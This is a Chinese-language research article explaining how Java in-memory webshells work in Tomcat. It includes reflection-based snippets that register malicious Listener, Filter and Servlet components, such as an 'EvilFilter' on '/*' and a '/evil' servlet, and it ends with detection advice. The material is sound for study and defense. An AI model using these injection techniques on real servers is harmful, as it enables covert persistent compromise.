Java内存马原理研究
字数 1683 2025-08-30 06:50:35
Java内存马原理研究
环境准备
Tomcat调试
-
获取Tomcat源码:
git clone https://github.com/apache/tomcat git checkout 8.5.x -
构建工具:
- 下载Ant用于构建Tomcat依赖
- 在Tomcat目录执行:
ant ide-intellij
-
调试配置:
- 使用IntelliJ IDEA,安装Ant插件
- 设置JDK 11环境
- 主类入口:
org.apache.catalina.startup.Bootstrap
内存马原理
WAR包部署过程
-
WAR包处理:
- Tomcat重启时解压WAR包
- 读取并解析web.xml文件
- 配置Servlet、Filter、Listener等组件
-
关键方法:
- 入口:
org.apache.catalina.startup.Bootstrap - 核心方法:
startInternal() - 配置读取:
webConfig()方法
- 入口:
HTTP请求生命周期
- 处理流程:
- Listener → Filter → Servlet
- 重点关注Listener、Filter、Servlet三个组件的调用顺序
Listener内存马
Listener作用
-
ServletRequestListener:
- 在Filter和Servlet处理请求前后调用
- 关键方法:
requestInitialized()和requestDestroyed()
-
传统注册方式:
- 在web.xml中配置Listener类
- Tomcat启动时加载
动态注册Listener
-
实现原理:
- 利用Servlet 3.0+的动态注册功能
- 反射获取
StandardContext对象 - 调用
addApplicationEventListener()方法
-
关键代码:
// 获取StandardContext Field reqField = request.getClass().getDeclaredField("request"); reqField.setAccessible(true); Request req = (Request) reqField.get(request); StandardContext context = (StandardContext) req.getContext(); // 创建并注册Listener context.addApplicationEventListener(new EvilListener()); -
内存马特点:
- 首次访问注册Listener
- 后续任意请求触发恶意代码
- 常驻内存直到应用停止或重新部署
Filter内存马
Filter作用
-
处理流程:
- 在Listener之后、Servlet之前执行
- 可对请求进行预处理和后处理
-
传统注册方式:
- web.xml中配置
<filter>和<filter-mapping> - Tomcat启动时初始化
- web.xml中配置
FilterChain创建过程
-
关键组件:
filterMaps:存储URL模式与Filter名称的映射filterDefs:存储Filter定义信息filterConfigs:存储运行时Filter配置
-
调用链:
ApplicationFilterFactory.createFilterChain()- 通过
filterMaps匹配URL - 通过
filterConfigs获取Filter实例
动态注册Filter
-
实现步骤:
- 获取
StandardContext对象 - 创建并注册
FilterDef - 创建并注册
FilterMap - 创建
ApplicationFilterConfig并添加到filterConfigs
- 获取
-
关键代码:
// 创建FilterDef FilterDef filterDef = new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(evilFilter.getClass().getName()); filterDef.setFilter(evilFilter); context.addFilterDef(filterDef); // 创建FilterMap FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap); // 创建FilterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef); // 添加到filterConfigs filterConfigs.put(filterName, filterConfig);
Servlet内存马
Servlet作用
-
处理流程:
- 请求处理的最后阶段
- 实际业务逻辑执行处
-
传统注册方式:
- web.xml中配置
<servlet>和<servlet-mapping> - 可通过
load-on-startup控制初始化时机
- web.xml中配置
动态注册Servlet
-
实现原理:
- 获取
StandardContext对象 - 创建
Wrapper对象并设置Servlet类 - 添加到
StandardContext的children中 - 设置URL映射
- 获取
-
关键代码:
// 创建Wrapper Wrapper wrapper = context.createWrapper(); wrapper.setName("evilServlet"); wrapper.setLoadOnStartup(1); wrapper.setServletClass(EvilServlet.class.getName()); // 添加到children context.addChild(wrapper); // 设置URL映射 context.addServletMapping("/evil", "evilServlet");
总结
-
内存马类型:
- Listener内存马:最早触发,常驻内存
- Filter内存马:灵活拦截,功能强大
- Servlet内存马:业务逻辑层,隐蔽性高
-
关键技术点:
- 反射获取
StandardContext对象 - 理解Tomcat组件注册机制
- 掌握动态注册组件的API
- 反射获取
-
防御建议:
- 监控动态组件注册行为
- 检查JSP文件异常修改
- 实施运行时内存检测
-
扩展研究:
- 其他类型内存马(Valve, JSP等)
- 内存马持久化技术
- 内存马检测与对抗技术